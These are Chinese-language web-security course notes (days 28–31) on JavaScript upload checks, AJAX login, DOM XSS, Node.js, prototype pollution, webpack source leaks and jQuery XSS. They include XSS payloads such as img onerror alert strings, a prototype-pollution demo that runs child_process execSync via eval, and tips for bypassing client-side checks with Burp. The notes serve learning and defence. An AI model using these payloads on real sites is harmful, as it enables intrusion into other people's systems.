xd_day28js原生开发-day31 day41asp.net

xd_day28js原生开发

前端js禁用上传文件后缀

html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>纯HTML文件上传页面</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Microsoft Yahei", sans-serif;
        }
        body {
            background-color: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .upload-container {
            background: white;
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            width: 500px;
            max-width: 90%;
        }
        .upload-title {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
            font-size: 24px;
        }
        .file-input-wrap {
            margin-bottom: 20px;
        }
        input[type="file"] {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            background-color: #f9f9f9;
            cursor: pointer;
        }
        input[type="file"]:hover {
            border-color: #66afe9;
        }
        .submit-btn {
            width: 100%;
            padding: 12px;
            background-color: #28a745;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
        }
        .submit-btn:hover {
            background-color: #218838;
        }
        .tip-text {
            margin-top: 15px;
            color: #666;
            font-size: 14px;
            line-height: 1.5;
        }
    </style>
</head>
<body>
    <div class="upload-container">
        <h2 class="upload-title">文件上传</h2>
        <!-- 关键:给表单加onsubmit事件,调用检查函数并返回结果 -->
        <form action="upload.php" method="POST" enctype="multipart/form-data" onsubmit="return CheckFileExt()">
            <div class="file-input-wrap">
                <input type="file" name="file" id="uploadFile" accept="*" required>
            </div>
            <button type="submit" class="submit-btn">上传文件</button>
        </form>
        <p class="tip-text">
            提示:<br>
            1. 此页面仅为前端展示,上传功能需要后端接口(如PHP/Java/Python)配合;<br>
            2. accept属性可修改为指定类型,例如:accept=".jpg,.png" 仅允许图片上传。
        </p>
    </div>

    <script>
    // 修复后的文件后缀检查函数
    function CheckFileExt() {
        // 1. 获取文件输入框的DOM元素
        var fileInput = document.getElementById('uploadFile');
        // 2. 获取选中的文件名(没选文件时直接返回false)
        var filename = fileInput.value;
        if (!filename) {
            alert('请选择要上传的文件!');
            return false; // 阻止表单提交
        }

        // 3. 定义允许的后缀(小写)
        var exts = ['png', 'gif', 'jpg', 'jpeg']; // 补充jpeg,兼容更多图片格式
        // 4. 修复:lastIndexOf(O大写),获取后缀位置
        var index = filename.lastIndexOf(".");
        // 5. 处理无后缀的情况
        if (index === -1) {
            alert('文件没有后缀名,请选择图片文件(png/gif/jpg)!');
            return false;
        }
        // 6. 获取后缀并转小写(兼容大写后缀,如PNG)
        var ext = filename.substr(index + 1).toLowerCase();
        
        // 7. 修复循环逻辑:遍历允许的后缀数组
        var flag = false;
        for (var i = 0; i < exts.length; i++) {
            if (ext === exts[i]) {
                flag = true;
                break;
            }
        }

        // 8. 根据结果提示并控制表单提交
        if (flag) {
            alert('文件后缀正确,即将上传!');
            return true; // 允许表单提交
        } else {
            alert('文件后缀错误,仅支持png/gif/jpg格式!');
            return false; // 阻止表单提交
        }
    }
    </script>
</body>
</html>

是的!你理解得完全没错:当 <form> 标签的 onsubmit 事件返回 false 时,浏览器会直接阻止表单的默认提交行为 ;如果返回 true(或不写返回值、返回 undefined),则会正常触发表单提交(跳转到 action 指定的地址)。

前端js可以被重写,然后就可以上传了

burp也可以改

2

html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>简单登录框</title>
    <style>
        /* 全局样式重置,消除默认边距和内边距 */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Microsoft YaHei", sans-serif;
        }

        /* 页面背景样式,让登录框居中显示 */
        body {
            background-color: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh; /* 占满整个视口高度 */
        }

        /* 登录框容器样式 */
        .login-box {
            background-color: #fff;
            width: 350px;
            padding: 30px;
            border-radius: 8px; /* 圆角 */
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); /* 轻微阴影提升层次感 */
        }

        /* 登录标题样式 */
        .login-title {
            text-align: center;
            font-size: 24px;
            margin-bottom: 25px;
            color: #333;
        }

        /* 表单项容器样式 */
        .form-item {
            margin-bottom: 20px;
        }

        /* 标签样式 */
        .form-item label {
            display: block; /* 独占一行 */
            margin-bottom: 8px;
            color: #666;
            font-size: 14px;
        }

        /* 输入框样式 */
        .form-item input {
            width: 100%;
            height: 40px;
            padding: 0 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            outline: none; /* 取消默认选中边框 */
        }

        /* 输入框聚焦时的样式 */
        .form-item input:focus {
            border-color: #409eff; /* 蓝色边框,提升交互感 */
            box-shadow: 0 0 5px rgba(64, 158, 255, 0.2);
        }

        /* 密码输入框特殊处理(和用户名框样式一致,仅语义区分) */
        .form-item input[type="password"] {
            letter-spacing: 1px; /* 密码字符间距,提升可读性 */
        }

        /* 提交按钮样式 */
        .submit-btn {
            width: 100%;
            height: 42px;
            background-color: #409eff;
            color: #fff;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer; /* 鼠标悬浮显示手型 */
            transition: background-color 0.2s; /* 过渡效果,更丝滑 */
        }

        /* 按钮悬浮样式 */
        .submit-btn:hover {
            background-color: #337ecc;
        }
    </style>
</head>
<body>
    <div class="login-box">
        <h2 class="login-title">用户登录</h2>
        <!-- 表单(无JS时仅做结构,提交需后端配合,这里保留action和method占位) -->
        <form action="l" method="post">
            <div class="form-item">
                <label for="username">用户名</label>
                <input type="text" id="username" name="username" placeholder="请输入用户名" class="user" required>
            </div>
            <div class="form-item">
                <label for="password">密码</label>
                <input type="password" id="password" name="password" placeholder="请输入密码" class="pass" required>
            </div>
            <button type="submit" class="submit-btn">登录</button>
        </form>
    </div>
</body>
</html>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
    $("button").click(function (){
        $.ajax({
            type: 'POST',
            url: 'logincheck.php',
            data: {
                myuser:$('.user').val(),
                mypass:$('.pass').val()
            },
            success: success,
            dataType: 'json',
        });
    });
</script>

js发数据,后端验证

javascript 复制代码
<script>
    $("button").click(function (){
        $.ajax({
            type: 'POST',
            url: 'logincheck.php',
            data: {
                myuser:$('.user').val(),
                mypass:$('.pass').val()
            },
            success: success,
            dataType: 'json',
        });
    });
</script>
  1. 首先,这是 jQuery 语法

$("button") // jQuery选择器,选择所有<button>元素

.click() // jQuery事件绑定方法

对比原生 JavaScript:

// 原生 JS

document.getElementById("myButton").addEventListener("click", function() {});

// jQuery 写法(更简洁)

$("#myButton").click(function() {});

  1. 完整的代码解释

$("button").click(function (){ // 给所有按钮绑定点击事件

$.ajax({ // 使用 jQuery 的 AJAX 方法发送请求

type: 'POST', // 请求类型:POST

url: 'logincheck.php', // 请求地址

data: { // 要发送的数据

myuser: $('.user').val(), // 获取 class="user" 的输入框的值

mypass: $('.pass').val() // 获取 class="pass" 的输入框的值

},

success: success, // 请求成功时的回调函数(这里调用一个叫 success 的函数)

dataType: 'json', // 期望服务器返回 JSON 格式数据

});

});

  1. 对应的 HTML 结构应该是这样的

<input type="text" class="user" placeholder="用户名">

<input type="password" class="pass" placeholder="密码">

<button>登录</button>

  1. jQuery 选择器与原生 JS 的对比
功能 原生 JavaScript jQuery
按ID选择 document.getElementById("id") $("#id")
按class选择 document.getElementsByClassName("class") $(".class")
按标签选择 document.getElementsByTagName("div") $("div")
获取值 element.value $().val()
设置值 element.value = "新值" $().val("新值")
事件绑定 element.addEventListener("click", fn) $().click(fn)
  1. AJAX 请求的详细步骤

$.ajax({

// 1. 设置请求类型

type: 'POST',

// 2. 设置请求地址

url: 'logincheck.php',

// 3. 设置要发送的数据(会转换为:myuser=xxx&mypass=xxx)

data: {

myuser: $('.user').val(),

mypass: $('.pass').val()

},

// 4. 请求成功时的处理函数

success: function(response) { // 这里应该是一个函数

console.log(response); // response 是服务器返回的数据

// 通常服务器会返回 JSON,比如:{success: true, message: "登录成功"}

if (response.success) {

alert("登录成功!");

window.location.href = "dashboard.html";

} else {

alert("登录失败:" + response.message);

}

},

// 5. 设置期望的返回数据类型

dataType: 'json',

// 6. 还可以添加错误处理(可选)

error: function(xhr, status, error) {

console.error("请求失败:", error);

alert("网络错误,请稍后重试");

}

});

  1. 常见问题解答

Q:$ 是什么?

A:$ 是 jQuery 的别名,$jQuery 是等价的。

总结(核心关键点)

  1. 这段代码是 jQuery 封装的 AJAX 登录请求,核心是「不刷新页面提交登录数据」;

  2. $() 是 jQuery 选择器:$("button") 选按钮、$('.user') 选类名是 user 的输入框,比原生 getElementById/querySelector 更简洁;

  3. $.ajax({...}) 是异步请求核心:

    • type/url:指定请求方式和后端地址;

    • data:要发给后端的用户名 / 密码;

    • success:请求成功后做什么(比如跳转 / 提示);

  4. 核心对比:jQuery 是原生 JS 的 "快捷方式",比如 $('.user').val() = 原生 document.querySelector('.user').value,只是写起来更短。

后端js导入<script src="https://cdn.bootcdn.net/ajax/libs/jquery/1.12.4/jquery.min.js"></script>

前端网络就会有,这就解释了为啥打开一个普通的网站会加载一堆东西

核心结论(先给答案)

默认情况下,点击按钮会先触发 AJAX 请求(提交到 logincheck.php),然后立刻触发表单的原生提交(跳转到 login.php) ------ 也就是两个都会提交,但这是错误的行为(会导致页面跳转,AJAX 的 "无刷新提交" 效果完全失效)。

如何修正:只保留 AJAX 提交(推荐)

想要只通过 AJAX 提交到 logincheck.php,需要阻止表单的原生提交行为,具体有 2 种简单方法:

方法 1:修改按钮类型(最简单)

<button type="submit"> 改成 <button type="button"> ------ type="button" 的按钮不会触发表单原生提交,只会执行你绑定的 click 事件:

复制代码
<!-- 把 submit 改成 button -->
<button type="button" class="submit-btn">登录</button>

方法 2:在 click 事件里阻止默认行为(更通用)

如果不想改按钮类型,就在 AJAX 代码里加 e.preventDefault()(阻止事件默认行为):

javascript 复制代码
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
// 等待文档完全加载和解析后再执行代码,确保所有DOM元素都可访问
$(document).ready(function() {
    
    // 给页面中所有的form元素绑定submit事件
    $("form").submit(function(e) {
        // 阻止表单的默认提交行为(默认会刷新页面或跳转到action指定的URL)
        e.preventDefault(); 
        
        // 使用jQuery的ajax方法发送异步请求
        $.ajax({
            type: 'POST', // 请求方法为POST
            url: 'logincheck.php', // 请求的目标URL
            // 要发送的数据,从类名为.user和.pass的输入框中获取值
            data: {
                myuser: $('.user').val(),
                mypass: $('.pass').val()
            },
            // 请求成功时的回调函数,response参数是服务器返回的数据
            success: function(response) {
                // 在控制台输出服务器返回的数据,便于调试
                console.log(response);
                // 假设服务器返回的JSON对象中包含success和message字段
                // 如果success为true,表示登录成功
                if(response.success) {
                    alert("登录成功!");
                    // 登录成功后可以跳转到其他页面,例如仪表盘
                    // window.location.href = "dashboard.html";
                } else {
                    // 登录失败,显示服务器返回的错误消息
                    alert("登录失败:" + response.message);
                }
            },
            // 请求失败时的回调函数,例如网络错误、服务器错误等
            error: function(xhr, status, error) {
                // 在控制台输出错误信息
                console.error("请求失败:", error);
                // 给用户一个友好的错误提示
                alert("网络错误,请稍后重试");
            },
            // 期望服务器返回的数据类型为JSON,jQuery会自动将返回的字符串解析为JavaScript对象
            dataType: 'json'
        });
    });
});
</script>

logincheck.php

php 复制代码
<?php
// 1. 设置响应头为JSON,避免前端解析出错
header('Content-Type: application/json; charset=utf-8');

// 2. 用$_POST获取前端POST请求的参数(和前端请求方式匹配)
// 注意:变量名要和前端data里的myuser、mypass完全一致
$myuser = $_POST['myuser'] ?? ''; // 用??设置默认值,避免未传参时报错
$mypass = $_POST['mypass'] ?? '';

// 3. 修正比较运算符(用===严格比较,更严谨)
if ($myuser === 'admin' && $mypass === '123456') {
    echo json_encode([
        'success' => true,      // 前端期望的字段
        'message' => '登录成功'  // 前端期望的字段
    ]);
} else {
    echo json_encode([
        'success' => false,      // 前端期望的字段
        'message' => '用户名或密码错误'  // 前端期望的字段
    ]);
}
?>

后端返回数据:

php

// 你的代码返回的是JSON字符串

echo json_encode([

'code' => 0, // 数字0

'msg' => 'ok', // 字符串"ok"

'data' => '登录成功' // 字符串"登录成功"

]);

返回的是:

json

{"code":0,"msg":"ok","data":"登录成功"}

要是登录逻辑写到前端可以拦截响应包,改包,

其实如果改响应包能登录的话,它原本就可以登录吧,只是原本不知道路由

但 "改响应包能登录"≠"原本就可以登录",核心区别在 "权限凭证"

你这句话的小偏差在于:"改响应包能登录" 的本质是前端逻辑失效,而非 "用户真的有登录权限"------ 举个具体例子:

场景 1:后端无 Session/Cookie 校验(我们之前的初始代码)

  • 改响应包:把后端返回的infoCode=0改成1,前端会跳转到index.php

  • 直接输路由:不用改包,直接访问index.php,也能进;

  • 本质:这不是 "真的登录",只是 "绕过了前端的跳转提示",后端根本没认你是 "合法用户",只是没设防。

场景 2:后端加了 Session/Cookie 校验(补全后的代码)

  • 改响应包:就算把infoCode=0改成1,前端跳转到index.php,但index.php会验证后端的 Session------ 因为你没真的登录(后端没给你合法的 SessionID),会直接把你打回登录页;

  • 直接输路由:访问index.php,同样因为没有合法 Session,被打回登录页;

  • 本质:这时候 "能登录" 的唯一方式是用正确的账号密码获取后端的 Session 凭证,改响应包、猜路由都没用。

xd_day29_js dom树

其实其实别人写过了我我我应该没必要再写吧

其实好像人家写的更好

第29天:安全开发-JS应用 - my-kon-blog

第29天:安全开发-JS应用&DOM树&加密编码库&断点调试&逆向分析&元素属性操作_第29天:安全开发-js应用&dom树&加密编码库&断点调试&逆向分析&元素属性操作-CSDN博客

一、核心联系(本质是啥)

  1. 最终目的一致:都是原生 JS 用来「获取页面 DOM 元素」的方法,拿到元素后都能做后续操作(比如绑定点击事件、修改内容、改样式);
  2. querySelector 是 "升级版"querySelector 整合了 getElementByIdgetElementsByClassNamegetElementsByTagName 的所有功能,是更通用的选择器;
  3. 返回结果同源 :拿到的都是 DOM 元素对象(或 null / 集合),后续都能调用 DOM 原生方法(比如 onclickinnerHTMLstyle 等)。

二、关键区别(新手必看,避免踩坑)

先纠正你例子里的小错误:document.querySelector('.id') 是错的,. 后跟class 名 (比如 .myClass),不是.id;下面用表格对比核心差异,再结合你的例子拆解:

特性 getElementById() getElementsByClassName/TagName() querySelector()
选择规则 只能按id选(无符号,直接写 id 值) 只能按 class / 标签选(无符号) CSS 选择器规则选(id 加 #、class 加.、标签直接写)
返回值 单个元素(找到)/null(没找到) HTMLCollection(动态类数组) 单个元素(匹配的第一个)/null
灵活性 仅能选 id,无法组合 仅能选 class / 标签,无法组合 支持复杂 CSS 选择器(比如 h1#myHeader.box p
动态 / 静态 无(单个元素) 动态集合(DOM 变,集合自动更) 静态(DOM 变,集合不自动更)
结合你的例子,看具体用法对比

你的例子:<h1 id="myHeader" onclick="getValue()">这是标题</h1>

javascript

运行

复制代码
// 1. getElementById(仅选id,无#,返回单个元素)
document.getElementById('myHeader'); // ✅ 正确,直接写id值
// 等价于 querySelector(选id要加#)
document.querySelector('#myHeader'); // ✅ 正确

// 2. 选标签(比如h1)
document.getElementsByTagName('h1')[0]; // ❗返回类数组,要加[0]取第一个
document.querySelector('h1'); // ✅ 直接返回第一个h1,不用加[0]

// 3. 选class(比如<h1 class="title">)
document.getElementsByClassName('title')[0]; // ❗返回类数组,加[0]
document.querySelector('.title'); // ✅ 直接返回第一个class为title的元素

三、新手怎么选?(实用建议)

  1. 简单场景(仅选 id) :用 getElementById(),语法更简单,性能略高(不用解析 CSS 选择器);
  2. 选 class / 标签 / 复杂场景 :优先用 querySelector(),不用记多个方法,也不用处理类数组(不用加 [0]);
  3. 选多个同规则元素 :用 querySelectorAll()(返回 NodeList),比 getElementsByClassName 更易操作(可直接 forEach 遍历)。

四、易错点提醒(新手常踩)

  1. getElementById 没有复数(不是 getElementsById),因为 id 是唯一的;
  2. getElementsByClassName/TagName 返回的是类数组 ,必须用[索引]取单个元素(比如[0]),否则无法操作;
  3. querySelector 只返回第一个匹配的元素 ,想选所有匹配的用querySelectorAll()

总结

  1. 联系:都是原生 JS 获取 DOM 的方法,querySelector 兼容了 get 系列的所有功能;
  2. 核心区别:querySelector 遵循 CSS 选择器规则(加 #/.),返回单个元素;get 系列按单一规则选(id/class/ 标签),部分返回类数组;
  3. 新手推荐:除了纯选 id 用 getElementById,其余场景优先用 querySelector,少记规则少踩坑。

你说得完全没错!document.querySelector('h1') 就是按照标签名 来获取页面中的元素,具体到你这个例子里,它会选中页面里第一个 <h1> 标签对应的元素(也就是那个 id="myHeader"<h1>)。

更详细的解释(结合你的代码)

  1. 匹配规则querySelector() 里直接写标签名(比如 h1divinput),就会匹配页面中「该标签类型」的元素,且只返回第一个匹配到的元素(哪怕页面有多个同标签,也只拿第一个)。
html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <!-- 指定UTF-8编码,解决中文乱码 -->
    <meta charset="UTF-8">
    <title>页面示例</title>
</head>
<body>
    <h1 id="myHeader" onclick="update1()">这是标题</h1>
    <img src="upload\屏幕截图 2026-01-01 135012.png" width="300" height="300"><br>
    <button onclick="update()">刷新</button>

    <script>
        function update(){
            const s = document.querySelector('img')
            console.log(s.src)
        }
        
        function update1(){
            const s = document.querySelector('h1')
            s.innerHTML='这是小迪<hr>'
            // 修复:原代码里的str未定义,这里可以删掉或改为正确变量
            // console.log(str)
        }
    </script>
</body>
</html>

点击变成

5.DOM XSS漏洞:

const s=document.querySelector('img')

s.src="iphone.jpg"

console.log(s.src)

生成完整项目代码(可直接运行)

php

如果这里iphone.jpg为一个变量由用户传递决定,那么就会造成DOM XSS(改为用户传递)

s.src="JaVaScRiPt:alert('XSS')"

有时候不弹窗的原因:

1.不支持(高版)

2.浏览器安排策略问题

使用<img src='#' onerror = "alert(1)"><br>在上面可以绕过弹窗alert(1)。

innerText就是标签包裹的值比如

html 复制代码
<!-- 原始标签 -->
<h1 id="myHeader">这是标题<span style="color:red">(红色)</span></h1>

<script>
// 用innerText获取:只拿"纯文字",忽略标签
const text = document.querySelector('#myHeader').innerText;
console.log(text); // 输出:这是标题(红色)

// 对比innerHTML(会拿到所有标签+文字)
const html = document.querySelector('#myHeader').innerHTML;
console.log(html); // 输出:这是标题<span style="color:red">(红色)</span>
</script>

核心总结(新手必记)

特性 innerText innerHTML
处理内容 只认纯文本,忽略 HTML 解析HTML 代码,执行 JS
安全程度 安全(防 DOM-XSS) 危险(易触发 XSS)
用途 展示用户输入的内容 渲染开发者可控的 HTML 结构

简单说:

  • 只要是「用户能输入 / 控制的内容」(比如输入框、评论、翻译内容),一律用innerText(或textContent)渲染,绝对安全;
  • 只有「开发者自己写死的、可信的 HTML」(比如固定的页面布局),才用innerHTML

xss就是输出用户输入的数据且没过滤domxss 就通过事件输出用户输入的数据没过滤

先总结你的理解(精准化)

  • XSS(跨站脚本攻击)的核心 :把用户输入的恶意代码 ,当成 "正常内容" 输出 / 渲染,且没做过滤 → 恶意代码被浏览器解析成 HTML/JS 执行(关键:不是 "输出数据" 就会 XSS,是 "输出后被解析成可执行代码" 才会)。比如用户输入<script>偷你cookie</script>,你直接用innerHTML渲染,就会执行;但用innerText渲染,只是显示文字,就不会 XSS------ 所以 "没过滤"+"用危险方式输出" 才是关键。

  • DOM-XSS(DOM 型 XSS)的核心 :是 XSS 的「子集」,特指 "输出 / 渲染过程全程在前端 DOM 层面完成,后端完全没参与",且通常是通过前端事件(点击、鼠标移动、输入变化等)触发 DOM 更新 ,把用户输入的恶意代码用innerHTML等危险方式渲染 → 攻击生效。你说的 "通过事件输出用户输入的数据没过滤",正是 DOM-XSS 的典型特征!

用例子区分「普通 XSS」和「DOM-XSS」(新手最易懂)

例子 1:普通反射型 XSS(后端参与,非 DOM-XSS)
复制代码
用户输入 → 输入框提交到后端 → 后端没过滤,直接把输入嵌到HTML里返回 → 页面加载时解析执行恶意代码

比如用户输入<script>alert('偷cookie')</script>,后端没过滤,返回的页面里写着:<div>用户评论:<script>alert('偷cookie')</script></div> → 页面加载就弹窗(XSS 生效)。

例子 2:DOM-XSS(全程前端,事件触发)
复制代码
用户输入 → 前端输入框(后端没接收) → 点击/鼠标移动等事件触发JS → JS没过滤,用innerHTML把输入渲染到DOM → 解析执行恶意代码

就是你之前的 demo 场景:

复制代码
<h1 onclick="update1()">点击</h1>
<script>
function update1(){
  // 假设str是用户输入的:<img src=# onerror="alert('DOM-XSS')">
  const str = 用户输入的内容; // 没过滤!
  document.querySelector('h1').innerHTML = str; // 危险输出(事件触发)
}
</script>

点击 h1 触发事件,innerHTML解析用户输入的恶意代码,弹窗生效(DOM-XSS)。

关键补充(新手易踩坑)

  1. 不是 "输出用户输入" 就会 XSS:用innerText/textContent输出,哪怕用户输入恶意代码,也只是显示文字(比如<script>alert(1)</script>会直接当成文字展示),不会 XSS------ 只有用innerHTML/document.write等 "能解析 HTML/JS 的方式" 输出,且没过滤,才会 XSS。

  2. DOM-XSS 的核心特征:

    • 后端返回的页面是 "干净的"(没有恶意代码);
    • 恶意代码的解析执行,完全由前端的 DOM 操作(事件触发)导致;
    • 全程没经过后端,只在浏览器里完成。

总结(核心要点)

  1. XSS 的本质:用户输入恶意代码 + 未过滤 + 被解析成 HTML/JS 执行(≠ 单纯输出数据);
  2. DOM-XSS 是 XSS 的子集:执行环节在前端 DOM(事件触发 DOM 更新),后端无参与;
  3. 防护核心:要么用innerText(不解析 HTML),要么对用户输入做「实体化过滤」(把<&lt;>&gt;),且所有场景(包括事件触发的 DOM 更新)都要过滤

js加密

越看越发现xd是真教东西啊,突然想起之前是因为看不懂,不过之前零基础看不懂确实正常

别人写的真好

day30 nodejs

第30天:安全开发-JS应用 - my-kon-blog

Node.js 和原生 JavaScript 的核心区别主要在运行环境、用途和能力上,具体可以分这几点看:

  • 运行环境不同 原生 JS:运行在浏览器里,依赖浏览器的 JS 引擎(比如 Chrome 的 V8),同时能调用浏览器提供的 DOM(操作页面元素)、BOM(操作浏览器窗口)等 API。Node.js:运行在服务器 / 本地终端环境,同样基于 V8 引擎,但没有 DOM/BOM ,取而代之的是 Node.js 自带的服务端 API(比如文件操作fs、网络请求http等)。
  • 核心用途不同原生 JS:负责前端页面的交互逻辑(比如点击按钮、渲染内容)。Node.js:用来开发后端服务(比如搭建 Web 服务器、操作数据库、批量处理文件)。
  • 模块 / 全局对象有差异 全局对象:原生 JS 是window;Node.js 是global(或globalThis),还多了modulerequire等特有对象。模块系统:原生 JS 常用 ES 模块(import/export);Node.js 默认用 CommonJS 模块(require/module.exports),也支持 ES 模块(需配置)。

是的,Express 是基于 Node.js、用 JavaScript 编写的 Web 开发框架。

它的代码本身是 JavaScript,并且依赖 Node.js 提供的原生服务端 API(比如http模块、文件操作模块等)来实现 Web 服务的功能 ------ 相当于在 Node.js 的基础能力之上,做了一层简化 Web 开发的封装。

javascript 复制代码
// 引入 Express 框架
const express = require('express');
// 创建 Express 应用程序实例
const app = express();

// 处理 '/login' 路径的 GET 请求,返回简单的登录页面
app.get('/login', function(req, res) {
    res.send('<hr>登录页面</hr>');
});

// 处理根路径的 GET 请求,发送名为 'sql.html' 的文件
app.get('/', function(req, res) {
    res.sendFile(__dirname + '/' + 'sql.html');
});

// 启动服务器,监听端口 3001
const server = app.listen(3001, function() {
    console.log('Web 服务器已经启动,监听端口 3001!');
});

其实东西都是一样的,就是不同的语言写的用不同的语法

Node.js Express 框架_w3cschool

  • Node.js 的"被迫异步"

    Node.js 采用单线程事件循环模型,任何同步 I/O 都会阻塞整个进程,因此从设计之初就强制以异步 I/O 作为核心抽象,fs 等模块默认提供异步 API,以保证高并发场景下事件循环不被阻塞。

    Python 的"可选异步"

    Python 通常运行在多线程 / 多进程模型下,同步 I/O 只会阻塞当前执行单元,不会影响整个服务;async/await 是在 3.5 之后引入的补充方案,用于提升高并发 I/O 场景下的效率,但整体生态仍以同步接口为主。

原型链污染

javascript 复制代码
// 创建一个包含属性 bar 的对象 foo,bar 设置为 1
let foo = {bar: 1};
console.log(foo.bar); // 输出: 1

// 修改 foo 对象的原型链上的 bar 属性,设置为执行命令 'require(\'child_process\').execSync(\'calc\');'
foo.__proto__.bar = 'require(\'child_process\').execSync(\'calc\');';

// 输出 foo 对象的 bar 属性,仍为 1,因为直接属性优先于原型链属性
console.log(foo.bar); // 输出: 1

// 创建一个空对象 zoo
let zoo = {};

// 使用 eval 执行 zoo 对象的 bar 属性,调用计算器
console.log(eval(zoo.bar));

一、代码整体含义

这行代码是 JavaScript 中声明变量并初始化普通对象的核心语句 ,作用是:创建一个包含 bar 这个 "自身属性" 的对象,然后把这个对象赋值给名为 foo 的变量。

二、逐部分拆解(新手友好版)

我们把代码拆成 4 个核心部分,逐个解释:

代码片段 名称 / 作用 通俗解释
let 变量声明关键字 ES6 新增的声明变量的方式,特点是块级作用域 (简单说:变量只在它所在的 {} 里有效),替代了老的 varvar 是函数级作用域,容易出问题)。
foo 变量名 你给这个 "对象容器" 起的名字,相当于一个 "标签",通过 foo 就能找到后面的那个对象。
= 赋值运算符 把右侧创建的对象,"绑定" 到左侧的 foo 变量上(可以理解为:把标签贴到对象上)。
{ bar: 1 } 对象字面量(Object Literal) JS 中创建对象最常用、最简洁的方式:- {}:表示创建一个空对象的基础结构 (如果里面没内容就是纯空对象);- bar: 1:给这个对象定义一个自身属性 (重点:是对象自己的属性,不是原型链上的),bar 是属性名,1 是属性值。

三、关键补充(结合原型链)

这行代码和你之前问的原型链强相关,核心要点:

  1. foo 指向的这个对象,自身有 bar 属性 (值为 1),所以访问 foo.bar 时,JS 会直接取这个自身属性的值,不会去原型链找(这也是你之前示例中 console.log(foo.bar) 输出 1 的原因)。

  2. 这个对象的原型(foo.__proto__)默认是 Object.prototype(所有普通 JS 对象的顶层原型),你可以用代码验证:

    复制代码
    let foo = { bar: 1 };
    // 验证:foo的原型是Object.prototype → 输出 true
    console.log(foo.__proto__ === Object.prototype);
    // 验证:bar是foo的自身属性 → 输出 true
    console.log(foo.hasOwnProperty('bar'));

四、简单测试示例

把这行代码跑起来,看实际效果,更易理解:

复制代码
// 声明并初始化对象
let foo = { bar: 1 };

// 1. 访问foo的bar属性 → 取自身属性,输出 1
console.log(foo.bar); 

// 2. 给foo的原型加一个bar属性(模拟原型链污染)
foo.__proto__.bar = 999;

// 3. 再次访问foo.bar → 还是自身属性的1,不会取原型链的999
console.log(foo.bar); 

总结

  1. let foo = { bar: 1 }; 核心是用 let 声明变量 foo,并赋值一个包含自身属性 bar:1 的普通 JS 对象;
  2. { bar: 1 } 是对象字面量,创建的对象有自己的 bar 属性,优先级高于原型链上的同名属性;
  3. let 是 ES6 块级作用域声明方式,比 var 更安全,是现在声明变量的首选。

JavaScript 中每个对象都有一个原型([[Prototype]]),

当访问对象的某个属性时,如果对象自身没有,就会沿着原型链向上查找并继承原型上的属性。

1️⃣ 不是"复制",是"查找"

对象不会把原型的属性拷贝一份

只是 在访问时动态查找

所以:

zoo.bar = 2;

这行代码做的是:

  • 在 zoo 自己身上创建 bar

  • 不会改原型


2️⃣ 原型是共享的(危险点)

Object.prototype.x = 123; ({}).x // 123 ([]).x // 123 (function(){}).x // 123

👉 这就是原型污染为什么"全局生效"

原型链污染就是攻击者修改了共享的原型对象(如 Object.prototype),从而让所有普通对象"凭空多出"恶意属性或行为。

day31 webpack

第31天:安全开发-JS应用 - my-kon-blog

第31天:安全开发-JS应用&WebPack打包器&第三方库JQuery&安装使用&安全检测_第31天:安全开发-js应用&webpack打包器&第三方库jquery&安装使用&安全检测-CSDN博客

这节课挺简单的,

简单来说就是用webpack解决依赖,webpack develop模式会泄露源码

1️⃣ Webpack 本质上打包的是什么?

Webpack 只打包前端资源

  • JavaScript(浏览器执行的)

  • CSS / 图片

  • 前端框架代码(Vue / React / 纯 JS)

👉 它根本碰不到后端源码(除非你把后端代码也塞进前端工程,这是另一个坑)。


2️⃣ mode: "development" 会"泄露"什么?

development 模式常见特征:

  • 未压缩 / 未混淆的 JS

  • 完整 source map

  • 保留变量名、函数名

  • 可能包含:

    • 注释

    • 调试代码

    • 开发路径

    • API 路由名

    • 业务逻辑细节

比如:

//# sourceMappingURL=app.js.map

你能反编译出几乎 完整的前端源码结构


3️⃣ 它「不会」泄露什么?

❌ 不会泄露:

  • 后端 Java / Python / PHP 源码

  • 数据库账号

  • 服务器文件

  • 后端业务逻辑实现

除非(⚠️ 很重要):

你把这些东西写进了前端代码里

比如:

const DB_PASSWORD = "123456"; // 这是你自己的锅


4️⃣ 为什么安全题里老提 "webpack develop 泄露"?

因为在 CTF / 实战 中,development 模式经常导致:

  • 看到完整前端源码

  • 找到:

    • 隐藏接口

    • 调试用 API

    • 未下线的 admin 功能

    • 写死的 token / key

    • 原本不该暴露的参数逻辑

👉 这是"信息泄露 → 漏洞链"的起点


5️⃣ 用一句「偏安全」的总结

Webpack develop 泄露的是前端实现细节,而不是后端代码,但这些细节往往足以反推后端接口与安全设计缺陷。

jquery存在内置过滤

关键只有一句话:

老版本 jQuery 在"把字符串当 HTML 解析"时,会顺手执行里面的恶意 JS。


二、先把 $(...) 到底在干嘛搞明白

1️⃣ 你以为的 $(...)

$(xxx)

= "选一个元素 / 创建一个元素"

2️⃣ 实际上 jQuery 会这样判断:

传入内容 jQuery 行为
$("#id") 当选择器
"<div>123</div>" 当 HTML 解析
"abc" 当普通字符串

👉 只要字符串长得像 HTML,jQuery 就会当 HTML 解析


三、漏洞到底怎么产生的?

漏洞代码(老版本 jQuery ≤ 3.5.0)

$("<img src=x onerror=alert('XSS')>");

jQuery 在干什么?

  1. 看到 <img ...>

